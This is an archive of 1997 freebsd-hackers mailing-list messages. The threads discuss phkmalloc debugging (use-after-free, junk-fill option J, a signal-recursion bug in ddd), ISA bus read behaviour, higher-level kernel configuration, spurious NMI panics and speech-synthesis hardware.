phk@critter.freebsd.dk writes: > > > > > This is about the only way you could get it to loop I think. That means > > that somebody wrote to memory malloc hadn't passed them (ie: your code). > > > > This would indicate a bug of the class where memory is written to after > > being free()'ed, a kind of bug which phkmalloc makes no attempt to catch. > > Why not have free() shred memory its releasing? Shredding memory with high > values can often cause the offending code (which is still attempting > to r/w this memory) to bus error. umm... malloc's option J does this: J ``junk'' fill some junk into the area allocated. Currently junk is bytes of 0xd0, this is pronounced ``Duh'' :-) -- John-Mark Gurney Modem/FAX: +1 541 683 6954 Cu Networking Live in Peace, destroy Micro$oft, support free software, run FreeBSD From owner-freebsd-hackers Thu Sep 18 19:08:41 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id TAA29078 for hackers-outgoing; Thu, 18 Sep 1997 19:08:41 -0700 (PDT) Received: from word.smith.net.au (ppp20.portal.net.au [202.12.71.120]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id TAA29070 for ; Thu, 18 Sep 1997 19:08:35 -0700 (PDT) Received: from word.smith.net.au (localhost.smith.net.au [127.0.0.1]) by word.smith.net.au (8.8.7/8.8.5) with ESMTP id LAA03892; Fri, 19 Sep 1997 11:36:05 +0930 (CST) Message-Id: <199709190206.LAA03892@word.smith.net.au> X-Mailer: exmh version 2.0zeta 7/24/97 To: Greg Lehey cc: Mike Smith , Joerg Wunsch , hackers@FreeBSD.ORG Subject: Re: INB question In-reply-to: Your message of "Fri, 19 Sep 1997 11:14:34 +0930." <19970919111434.20114@lemis.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Fri, 19 Sep 1997 11:36:03 +0930 From: Mike Smith Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > >>> The ISA specification explicitly requires bus pullup resistors. It may > >>> be unwise to depend on reading 0xff back-to-back with a previous read/ > >>> write operation, ... > >> > >> That's why i wrote ``unspecified, with a tendency to 0xff''. > > > > The implication (as an english speaker) from your claim was > > "unspecified but sometimes 0xff". It would be civilised to qualify the > > "tendency" under the circumstances. > > To be fair, I think that this is the same as "indeterminate, but with > an above-average likelihood of being 0xff". I don't think this has > anything to do with the fact that I speak German. That's still not good enough. The reality is "0xff under all except certain specific circumstances". "Tendency" and "likelihood" both imply indeterminacy which is not present in this case. mike From owner-freebsd-hackers Thu Sep 18 19:10:25 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id TAA29239 for hackers-outgoing; Thu, 18 Sep 1997 19:10:25 -0700 (PDT) Received: from freebie.lemis.com (gregl1.lnk.telstra.net [139.130.136.133]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id TAA29224 for ; Thu, 18 Sep 1997 19:10:21 -0700 (PDT) Received: (from grog@localhost) by freebie.lemis.com (8.8.7/8.8.5) id LAA01868; Fri, 19 Sep 1997 11:40:14 +0930 (CST) Message-ID: <19970919114014.62916@lemis.com> Date: Fri, 19 Sep 1997 11:40:14 +0930 From: Greg Lehey To: Mike Smith Cc: Joerg Wunsch , hackers@FreeBSD.ORG Subject: Re: INB question References: <19970919111434.20114@lemis.com> <199709190206.LAA03892@word.smith.net.au> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.81e In-Reply-To: <199709190206.LAA03892@word.smith.net.au>; from Mike Smith on Fri, Sep 19, 1997 at 11:36:03AM +0930 Organisation: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8250 Fax: +61-8-8388-8250 Mobile: +61-41-739-7062 WWW-Home-Page: http://www.lemis.com/~grog Fight-Spam-Now: http://www.cauce.org Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Fri, Sep 19, 1997 at 11:36:03AM +0930, Mike Smith wrote: >>>>> The ISA specification explicitly requires bus pullup resistors. It may >>>>> be unwise to depend on reading 0xff back-to-back with a previous read/ >>>>> write operation, ... >>>> >>>> That's why i wrote ``unspecified, with a tendency to 0xff''. >>> >>> The implication (as an english speaker) from your claim was >>> "unspecified but sometimes 0xff". It would be civilised to qualify the >>> "tendency" under the circumstances. >> >> To be fair, I think that this is the same as "indeterminate, but with >> an above-average likelihood of being 0xff". I don't think this has >> anything to do with the fact that I speak German. > > That's still not good enough. The reality is "0xff under all except > certain specific circumstances". "Tendency" and "likelihood" both > imply indeterminacy which is not present in this case. Any sufficiently advanced technology is indistinguishable from magic. Without going into detail which the original discussion didn't warrant, I believe it's correct to say "tending to be 0xff". This is a statistical statement for those who don't have a logic analyzer probe coming out of their left forefinger. Greg From owner-freebsd-hackers Thu Sep 18 21:02:41 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id VAA06369 for hackers-outgoing; Thu, 18 Sep 1997 21:02:41 -0700 (PDT) Received: from bcarsde4.localhost (mailgate.nortel.ca [192.58.194.74]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id VAA06335; Thu, 18 Sep 1997 21:01:49 -0700 (PDT) Message-Id: <199709190401.VAA06335@hub.freebsd.org> Received: from bcars520.ott.bnr.ca (actually 47.128.5.188) by bcarsde4.localhost; Thu, 18 Sep 1997 23:42:25 -0400 Received: from bnr.ca by bcars520.bnr.ca id <11183-0@bcars520.bnr.ca>; Thu, 18 Sep 1997 23:41:16 -0400 Date: 18 Sep 1997 23:41 EDT To: hackers@FreeBSD.ORG Cc: gram@cdsec.com, phk@critter.freebsd.dk, freebsd-bugs@FreeBSD.ORG From: "Andrew Atrens" Subject: Re: Bug in malloc/free Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Hi Folks, By coincidence I *may* have seen a bug similar to Graham's last night... I'm using 3.0 current ( circa. Aug 08 ). I built `ddd-2.1.1.tar.gz', found in /pub/FreeBSD/distfiles which is a largely C++ interface for gdb and others. Unfortunately, when I tried to run it, it gobbled memory until it choked. I tried a second time, this time killing it with CTRL-C and observed: ^Cddd in malloc(): warning: recursive call. Virtual memory exceeded in `new' After reading Graham's thread I relinked it against libgnumalloc, and low and behold it works like a charm ! Does this point to an incompatibility problem between phkmalloc and g++ compiled code ? Just a thought, Andrew. From owner-freebsd-hackers Thu Sep 18 21:03:46 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id VAA06490 for hackers-outgoing; Thu, 18 Sep 1997 21:03:46 -0700 (PDT) Received: from counterintelligence.ml.org (mdean.vip.best.com [206.86.94.101]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id VAA06483 for ; Thu, 18 Sep 1997 21:03:41 -0700 (PDT) Received: from localhost (jamil@localhost) by counterintelligence.ml.org (8.8.7/8.8.5) with SMTP id VAA01105; Thu, 18 Sep 1997 21:01:50 -0700 (PDT) Date: Thu, 18 Sep 1997 21:01:50 -0700 (PDT) From: "Jamil J. Weatherbee" To: Niall Smart cc: Tommy Hallgren , Joerg Wunsch , freebsd-hackers@FreeBSD.ORG Subject: Re: CDROM image In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk The FreeBSD Multicast channel. From owner-freebsd-hackers Thu Sep 18 21:18:59 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id VAA07347 for hackers-outgoing; Thu, 18 Sep 1997 21:18:59 -0700 (PDT) Received: from counterintelligence.ml.org (mdean.vip.best.com [206.86.94.101]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id VAA07342 for ; Thu, 18 Sep 1997 21:18:55 -0700 (PDT) Received: from localhost (jamil@localhost) by counterintelligence.ml.org (8.8.7/8.8.5) with SMTP id VAA01120; Thu, 18 Sep 1997 21:16:37 -0700 (PDT) Date: Thu, 18 Sep 1997 21:16:37 -0700 (PDT) From: "Jamil J. Weatherbee" To: "Jordan K. Hubbard" cc: Eivind Eklund , md6tommy@mdstud.chalmers.se, freebsd-hackers@FreeBSD.ORG Subject: Re: CDROM image In-Reply-To: <16720.874627365@time.cdrom.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk So how does this effect the entropy of the system of bits? > trees, etc. If you look at the sheer volume of bits involved, they're > really almost completely different products. > Jordan From owner-freebsd-hackers Thu Sep 18 21:24:34 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id VAA07797 for hackers-outgoing; Thu, 18 Sep 1997 21:24:34 -0700 (PDT) Received: from counterintelligence.ml.org (mdean.vip.best.com [206.86.94.101]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id VAA07788 for ; Thu, 18 Sep 1997 21:24:30 -0700 (PDT) Received: from localhost (jamil@localhost) by counterintelligence.ml.org (8.8.7/8.8.5) with SMTP id VAA01129 for ; Thu, 18 Sep 1997 21:23:32 -0700 (PDT) Date: Thu, 18 Sep 1997 21:23:32 -0700 (PDT) From: "Jamil J. Weatherbee" To: freebsd-hackers@freebsd.org Subject: The IMPORTANCE of real time under freebsd. Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk If freebsd couldn't be used to control propulsion on an international space station or space shuttle, then what is it worth? PID baby. BTW Anybody know of any good speech recognition HARDWARE (or software, but I doubt that exists) that could be used for voice control in a medium sized room i.e.i.e mic hanging from center of ceiling (probably dictionary based). Also speech synthesis hardware that is dictionary based (with a female voice preferably) that could be run through a PA system. From owner-freebsd-hackers Thu Sep 18 21:28:06 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id VAA07984 for hackers-outgoing; Thu, 18 Sep 1997 21:28:06 -0700 (PDT) Received: from pcpsj.pfcs.com (NJaGeLX4BMK6CBWpBnCy9x8fjgLP/jkP@harlan.fred.net [205.252.219.31]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id VAA07979 for ; Thu, 18 Sep 1997 21:28:01 -0700 (PDT) Received: from mumps.pfcs.com (mumps.pfcs.com [192.52.69.11]) by pcpsj.pfcs.com (8.8.6/8.6.9) with SMTP id AAA08230 for ; Fri, 19 Sep 1997 00:27:49 -0400 (EDT) Received: from localhost by mumps.pfcs.com with SMTP id AA18989 (5.67b/IDA-1.5 for ); Fri, 19 Sep 1997 00:27:48 -0400 To: hackers@freebsd.org Subject: Higher-level kernel config? Date: Fri, 19 Sep 1997 00:27:47 -0300 Message-Id: <18987.874643267@mumps.pfcs.com> From: Harlan Stenn Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk (talk is cheap) I was just noticing that I have 3 or 4 customized config files here for various FreeBSD machines, and that stuff changes in the GENERIC and LINT files *much* more often than I change hardware in my machines. One of the more boring and error-prone steps I have to go thru is to compare an "old" GENERIC or LINT file against the current ones and see what changed, and then see if I need to roll over any of these changes to my customized configs. How hard would it be (for a suitably skilled/knowledgeable person) to come up with a higher-level kernel config specification that would (hopefully) obviate the need to maintain the current config files? I'm thinking about something like: base: GENERIC storage: fd0 storage: bt0 network: ed0 irq 10 mem 0x300 which would produce a generic kernel with just the floppy and buslogic storage controllers, and just the ed0 network device (with the stated wiggly bits), and everything else provided per the GENERIC configuration. If this plan is too simplistic/controversial, how about having this config file list all of the available things without most of the "wiggly bits"? I'm suggesting this because I just edited one of my configs because btintr (or whatever) got changed to bt_isa_intr. Now I need to go back in there and see if anything else changed. H From owner-freebsd-hackers Thu Sep 18 21:53:11 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id VAA09879 for hackers-outgoing; Thu, 18 Sep 1997 21:53:11 -0700 (PDT) Received: from usr05.primenet.com (tlambert@usr05.primenet.com [206.165.6.205]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id VAA09869 for ; Thu, 18 Sep 1997 21:53:05 -0700 (PDT) Received: (from tlambert@localhost) by usr05.primenet.com (8.8.5/8.8.5) id VAA09212; Thu, 18 Sep 1997 21:52:47 -0700 (MST) From: Terry Lambert Message-Id: <199709190452.VAA09212@usr05.primenet.com> Subject: Re: CDROM image To: jkh@time.cdrom.com (Jordan K. Hubbard) Date: Fri, 19 Sep 1997 04:52:46 +0000 (GMT) Cc: perhaps@yes.no, md6tommy@mdstud.chalmers.se, freebsd-hackers@FreeBSD.ORG In-Reply-To: <16720.874627365@time.cdrom.com> from "Jordan K. Hubbard" at Sep 18, 97 05:02:45 pm X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > As far as Walnut Creek CDROM is concerned, anything which increases > the name recognition and installed base of FreeBSD is a good thing and > to be encouraged - they know that they can't get FreeBSD into every > possible niche market by themselves and they've even tried to get > people in China to pirate the FreeBSD CD in hopes that it would spread > all over the country like wildfire or something, but no such luck so > far. ;-) If you get an opportunity... Rent/Buy: Tenchi & Friends Special Pretty Sammy 2 Revenge of The Imperial Electronic Brain (It's a Tenchi Muyo series Anime video) In it, Biff Standard, president of STANDARD Software, Inc. is trying to standardize the world. Sure, you have to pay for standards in reduced speed, but it's for the good of mankind. Tenchi and friends are opposed to Biff; Tenchi goes so far as to buy a black-market CDROM (of "MACH 9", I think) so that he can run a Karioke program that Biff's OS is two slow to run. I'm pretty sure that "Biff" was a kind translation of a soft pronunciation of "Bill" (my copy is in Japanese). Anyway, it's an amusing metaphor on the rationalization of a fragmented Japanese computer market as being a "good thing", and very pro-free-OS (albiet "MACH 9"). >From the looks of things, it shouldn't be that hard to get that area of the world copying and selling FreeBSD. 8-). Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Thu Sep 18 21:57:06 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id VAA10140 for hackers-outgoing; Thu, 18 Sep 1997 21:57:06 -0700 (PDT) Received: from usr05.primenet.com (tlambert@usr05.primenet.com [206.165.6.205]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id VAA10132 for ; Thu, 18 Sep 1997 21:57:03 -0700 (PDT) Received: (from tlambert@localhost) by usr05.primenet.com (8.8.5/8.8.5) id VAA09610; Thu, 18 Sep 1997 21:56:37 -0700 (MST) From: Terry Lambert Message-Id: <199709190456.VAA09610@usr05.primenet.com> Subject: Re: INB question To: mike@smith.net.au (Mike Smith) Date: Fri, 19 Sep 1997 04:56:36 +0000 (GMT) Cc: grog@lemis.com, mike@smith.net.au, joerg_wunsch@uriah.heep.sax.de, hackers@FreeBSD.ORG In-Reply-To: <199709190206.LAA03892@word.smith.net.au> from "Mike Smith" at Sep 19, 97 11:36:03 am X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > That's still not good enough. The reality is "0xff under all except > certain specific circumstances". "Tendency" and "likelihood" both > imply indeterminacy which is not present in this case. And I use the same Delay techniques FreeBSD uses to avoid those particular cases (back-to-back reads, read-before-latch). So I have the information I needed. Thanks to all concerned. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Thu Sep 18 22:00:18 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id WAA10432 for hackers-outgoing; Thu, 18 Sep 1997 22:00:18 -0700 (PDT) Received: from spinner.dialix.com.au (spinner.dialix.com.au [202.12.86.3]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id VAA10314; Thu, 18 Sep 1997 21:59:55 -0700 (PDT) Received: from spinner.dialix.com.au (localhost.dialix.com.au [127.0.0.1]) by spinner.dialix.com.au with ESMTP id MAA07378; Fri, 19 Sep 1997 12:59:34 +0800 (WST) Message-Id: <199709190459.MAA07378@spinner.dialix.com.au> X-Mailer: exmh version 2.0zeta 7/24/97 To: "Andrew Atrens" cc: hackers@FreeBSD.ORG, gram@cdsec.com, phk@critter.freebsd.dk, freebsd-bugs@FreeBSD.ORG Subject: Re: Bug in malloc/free In-reply-to: Your message of "18 Sep 1997 23:41:00 EDT." <199709190401.VAA06335@hub.freebsd.org> Date: Fri, 19 Sep 1997 12:59:33 +0800 From: Peter Wemm Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk "Andrew Atrens" wrote: > > Hi Folks, > > By coincidence I *may* have seen a bug similar to Graham's last night... > I'm using 3.0 current ( circa. Aug 08 ). > > I built `ddd-2.1.1.tar.gz', found in /pub/FreeBSD/distfiles which is a > largely C++ interface for gdb and others. Unfortunately, when I tried to > run it, it gobbled memory until it choked. I tried a second time, this > time killing it with CTRL-C and observed: > > ^Cddd in malloc(): warning: recursive call. > Virtual memory exceeded in `new' > > After reading Graham's thread I relinked it against libgnumalloc, and low > and behold it works like a charm ! > > Does this point to an incompatibility problem between phkmalloc and g++ > compiled code ? Hmm, this particular thing sounds like a signal recursion problem.. If a malloc() instance is interrupted in the middle of execution and a signal is taken, and that signal again calls malloc (eg: via new), the state of the malloc arena is 'indeterminate'. Perhaps malloc is doing something that can cause a signal? or perhaps ddd has a fast timer that calls malloc (or new) that can interrupt other malloc calls? Perhaps malloc() could/should block SIGALRM while executing it's non-reentrant parts? > Just a thought, > > Andrew. > Cheers, -Peter From owner-freebsd-hackers Thu Sep 18 22:07:59 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id WAA11068 for hackers-outgoing; Thu, 18 Sep 1997 22:07:59 -0700 (PDT) Received: from usr05.primenet.com (tlambert@usr05.primenet.com [206.165.6.205]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id WAA11062 for ; Thu, 18 Sep 1997 22:07:53 -0700 (PDT) Received: (from tlambert@localhost) by usr05.primenet.com (8.8.5/8.8.5) id WAA10450; Thu, 18 Sep 1997 22:07:03 -0700 (MST) From: Terry Lambert Message-Id: <199709190507.WAA10450@usr05.primenet.com> Subject: Re: INB question To: grog@lemis.com (Greg Lehey) Date: Fri, 19 Sep 1997 05:07:03 +0000 (GMT) Cc: mike@smith.net.au, joerg_wunsch@uriah.heep.sax.de, hackers@FreeBSD.ORG In-Reply-To: <19970919114014.62916@lemis.com> from "Greg Lehey" at Sep 19, 97 11:40:14 am X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > Any sufficiently advanced technology is indistinguishable from magic. > Without going into detail which the original discussion didn't > warrant, I believe it's correct to say "tending to be 0xff". This is > a statistical statement for those who don't have a logic analyzer > probe coming out of their left forefinger. I wanted to get a guaranteed detection of something I knew would have certain buts 1 and certain bits 0 were the hardware present. The idea of "it's black magic; don't concern yourself with it" is intensely irksome and not very useful to boot. I believe it *did* merit the level of detail which the discussion got into, since that is the only way I could have obtained a cannonically correct answer to my question -- a question that required more than a "somtimes, maybe" answer. Unfortunately, I wasn't able to look this up offline, since I no longer have access to some of the documentation I'd have used to obtain this information (my MindShare book that would have told me is on order and has been on order for practically forever). In any case, now I know, and spin-doctoring the answer to make it "correct" in light of the already contradictory proofs serves no useful purpose. You are entitled to one spin-doctor to clarify the question which you thought you were answering, and that is granted you only so you can point out that it wasn't the answer to the question being asked (I personally do this on occasion, mostly to make sure that it's not a question of "who they believe" as to whether or not they get the right answer). Persistant spin-doctoring is not going to make the question answered any closer to the question origianlly asked, and serves no useful purpose, since it can't make you any more "right" about the *other* question you *did* answer. Regards, Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Thu Sep 18 22:23:58 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id WAA12389 for hackers-outgoing; Thu, 18 Sep 1997 22:23:58 -0700 (PDT) Received: from word.smith.net.au (word.smith.net.au [202.0.75.3]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id WAA12358; Thu, 18 Sep 1997 22:23:48 -0700 (PDT) Received: from word.smith.net.au (localhost.smith.net.au [127.0.0.1]) by word.smith.net.au (8.8.7/8.8.5) with ESMTP id OAA00674; Fri, 19 Sep 1997 14:51:36 +0930 (CST) Message-Id: <199709190521.OAA00674@word.smith.net.au> X-Mailer: exmh version 2.0zeta 7/24/97 To: "Andrew Atrens" cc: hackers@FreeBSD.ORG, gram@cdsec.com, phk@critter.freebsd.dk, freebsd-bugs@FreeBSD.ORG Subject: Re: Bug in malloc/free In-reply-to: Your message of "18 Sep 1997 23:41:00 EDT." <199709190401.VAA06335@hub.freebsd.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Fri, 19 Sep 1997 14:51:34 +0930 From: Mike Smith Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > ^Cddd in malloc(): warning: recursive call. > Virtual memory exceeded in `new' > > After reading Graham's thread I relinked it against libgnumalloc, and low > and behold it works like a charm ! > > Does this point to an incompatibility problem between phkmalloc and g++ > compiled code ? Something in malloc, somehow, is calling malloc() again, by the look of it. Does libg++ define any replacements for any of the standard C library functions? I've been going through just about *everything* I can find in case Poul has missed something; there is nothing in any of the malloc-called code (mostly just abort()) that is likely to be relevant to this. mike From owner-freebsd-hackers Thu Sep 18 22:33:02 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id WAA13090 for hackers-outgoing; Thu, 18 Sep 1997 22:33:02 -0700 (PDT) Received: from bunyip.cc.uq.edu.au (bunyip.cc.uq.edu.au [130.102.2.1]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id WAA12811 for ; Thu, 18 Sep 1997 22:29:20 -0700 (PDT) Received: (from daemon@localhost) by bunyip.cc.uq.edu.au (8.8.7/8.8.7) id PAA14254 for freebsd-hackers@freebsd.org; Fri, 19 Sep 1997 15:27:57 +1000 Received: from troll.dtir.qld.gov.au by ogre.dtir.qld.gov.au (8.7.5/DEVETIR-E0.3a) with ESMTP id PAA28861 for ; Fri, 19 Sep 1997 15:26:33 +1000 (EST) Received: from localhost (syssgm@localhost) by troll.dtir.qld.gov.au (8.8.5/8.8.5) with SMTP id PAA24886; Fri, 19 Sep 1997 15:26:30 +1000 (EST) Message-Id: <199709190526.PAA24886@troll.dtir.qld.gov.au> X-Authentication-Warning: troll.dtir.qld.gov.au: syssgm@localhost didn't use HELO protocol To: freebsd-hackers@freebsd.org cc: syssgm@dtir.qld.gov.au Subject: Survey: Have bogus NMI panics stopped you installing? Date: Fri, 19 Sep 1997 15:26:30 +1000 From: Stephen McKay Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Hi, I'm trying to find out whether there are any others in the same situation as me. A friend has a Unisys ELI 4003 (486DX4/100 ISA) PC which always panics on boot with: EISA watchdog timer expired, likely hardware failure. We've discovered that this is (very probably) because this machine implements XT style floating point error reporting, which uses non-maskable interrupts. The NMI is handled by isa_nmi() which can't find any ISA problem to report, but thinks that every EISA problem under the sun has occurred because it reads 0xff from a non-existent port. I have code to work around this problem, but I shouldn't introduce nasty hacks unless it saves enough people. So, anybody out there with either: - a WORKING Unisys ELI 4003 - any BROKEN ISA box that reports instant EISA failures, please let me know. Thanks, Stephen. From owner-freebsd-hackers Thu Sep 18 22:33:41 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id WAA13168 for hackers-outgoing; Thu, 18 Sep 1997 22:33:41 -0700 (PDT) Received: from itojun.csl.sony.co.jp (itojun.csl.sony.co.jp [133.138.1.134]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id WAA13135 for ; Thu, 18 Sep 1997 22:33:26 -0700 (PDT) From: itojun@itojun.org Received: from localhost (itojun@localhost [127.0.0.1]) by itojun.csl.sony.co.jp (8.8.5/3.3W3) with ESMTP id OAA13699; Fri, 19 Sep 1997 14:24:16 +0900 (JST) To: "Jamil J. Weatherbee" Cc: freebsd-hackers@freebsd.org Subject: Re: The IMPORTANCE of real time under freebsd. X-Template-Reply-To: itojun@itojun.org X-Template-Return-Receipt-To: itojun@itojun.org X-PGP-Fingerprint: F8 24 B4 2C 8C 98 57 FD 90 5F B4 60 79 54 16 E2 References: In-reply-to: "Jamil J. Weatherbee" 's message of Thu, 18 Sep 1997 21:23:32 -0700 (PDT). X-Mailer: comp (MHng project) version 1997/08/04 03:38:46, by Jun-ichiro Itoh MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Content-transfer-encoding: 7bit Content-ID: Date: Fri, 19 Sep 1997 14:24:15 +0900 Message-ID: <13696.874646655@itojun.csl.sony.co.jp> Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk >BTW Anybody know of any good speech recognition HARDWARE (or software, but >I doubt that exists) that could be used for voice control in a medium >sized room i.e.i.e mic hanging from center of ceiling (probably dictionary >based). Also speech synthesis hardware that is dictionary based (with a >female voice preferably) that could be run through a PA system. Just FYI: There's speech synthesis PCMCIA card (yes, we can go out with this!) from Hitachi micro computer co., designed for Japanese speech synthesis. Usage is very simple: just write() Japanese phonetic string into character device, then the card will generate the sound. The driver is ready for merge and I sent to hosokawa-san (it needs to be merged with PAO PCMCIA support) For non-Japanese people: I have never tried, but maybe we can: - Use the card so that it will pronounce English text Dictionary for English word -> Japanese phonetic letter is necessery but if we got this it is simple query-and-replace - generate voice data for English - need more document/whatever from Hitachi... If any of you are interested in getting/beta-testing the driver, pls let me know. The card is not very popular (we must order directly to Hitachi I think), but this may of help for some people. itojun From owner-freebsd-hackers Thu Sep 18 22:41:33 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id WAA13753 for hackers-outgoing; Thu, 18 Sep 1997 22:41:33 -0700 (PDT) Received: from critter.freebsd.dk (critter.freebsd.dk [195.8.129.26]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id WAA13723; Thu, 18 Sep 1997 22:41:27 -0700 (PDT) Received: from critter.freebsd.dk (localhost.cybercity.dk [127.0.0.1]) by critter.freebsd.dk (8.8.7/8.8.7) with ESMTP id HAA12159; Fri, 19 Sep 1997 07:40:56 +0200 (CEST) To: "Andrew Atrens" cc: hackers@freebsd.org, freebsd-bugs@freebsd.org Subject: Re: Bug in malloc/free (was: Memory leak in getservbyXXX?) In-reply-to: Your message of "18 Sep 1997 17:59:00 EDT." <199709182204.AAA11611@critter.freebsd.dk> Date: Fri, 19 Sep 1997 07:40:55 +0200 Message-ID: <12157.874647655@critter.freebsd.dk> From: Poul-Henning Kamp Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk In message <199709182204.AAA11611@critter.freebsd.dk>, "Andrew Atrens" writes: >In message "Bug in malloc/free (was: Memory leak in getservbyXXX?)", phk@critt >er.freebsd.dk writes: >> > >> This is about the only way you could get it to loop I think. That means >> that somebody wrote to memory malloc hadn't passed them (ie: your code). >> >> This would indicate a bug of the class where memory is written to after >> being free()'ed, a kind of bug which phkmalloc makes no attempt to catch. > >Why not have free() shred memory its releasing? Shredding memory with high >values can often cause the offending code (which is still attempting >to r/w this memory) to bus error. options 'J' does that. -- Poul-Henning Kamp FreeBSD coreteam member phk@FreeBSD.ORG "Real hackers run -current on their laptop." From owner-freebsd-hackers Thu Sep 18 22:54:44 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id WAA14609 for hackers-outgoing; Thu, 18 Sep 1997 22:54:44 -0700 (PDT) Received: from critter.freebsd.dk (critter.freebsd.dk [195.8.129.26]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id WAA14583; Thu, 18 Sep 1997 22:54:35 -0700 (PDT) Received: from critter.freebsd.dk (localhost.cybercity.dk [127.0.0.1]) by critter.freebsd.dk (8.8.7/8.8.7) with ESMTP id HAA12449; Fri, 19 Sep 1997 07:53:53 +0200 (CEST) To: Peter Wemm cc: "Andrew Atrens" , hackers@freebsd.org, gram@cdsec.com, freebsd-bugs@freebsd.org Subject: Re: Bug in malloc/free In-reply-to: Your message of "Fri, 19 Sep 1997 12:59:33 +0800." <199709190459.MAA07378@spinner.dialix.com.au> Date: Fri, 19 Sep 1997 07:53:53 +0200 Message-ID: <12447.874648433@critter.freebsd.dk> From: Poul-Henning Kamp Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk In message <199709190459.MAA07378@spinner.dialix.com.au>, Peter Wemm writes: >> ^Cddd in malloc(): warning: recursive call. >> Virtual memory exceeded in `new' >> >> After reading Graham's thread I relinked it against libgnumalloc, and low >> and behold it works like a charm ! >> >> Does this point to an incompatibility problem between phkmalloc and g++ >> compiled code ? > >Hmm, this particular thing sounds like a signal recursion problem.. > >If a malloc() instance is interrupted in the middle of execution and a >signal is taken, and that signal again calls malloc (eg: via new), the >state of the malloc arena is 'indeterminate'. > >Perhaps malloc is doing something that can cause a signal? or perhaps ddd >has a fast timer that calls malloc (or new) that can interrupt other malloc >calls? Perhaps malloc() could/should block SIGALRM while executing it's >non-reentrant parts? The solution here would be to block signals around malloc/free. This would be rather expensive to do, performance wise, and thus have not been done. It is the responsibility of the application code anyway... If somebody writes the patch to malloc to do this under a option, I'll review and commit, but I don't have the time to do it myself right now. -- Poul-Henning Kamp FreeBSD coreteam member phk@FreeBSD.ORG "Real hackers run -current on their laptop." From owner-freebsd-hackers Thu Sep 18 23:06:53 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id XAA15417 for hackers-outgoing; Thu, 18 Sep 1997 23:06:53 -0700 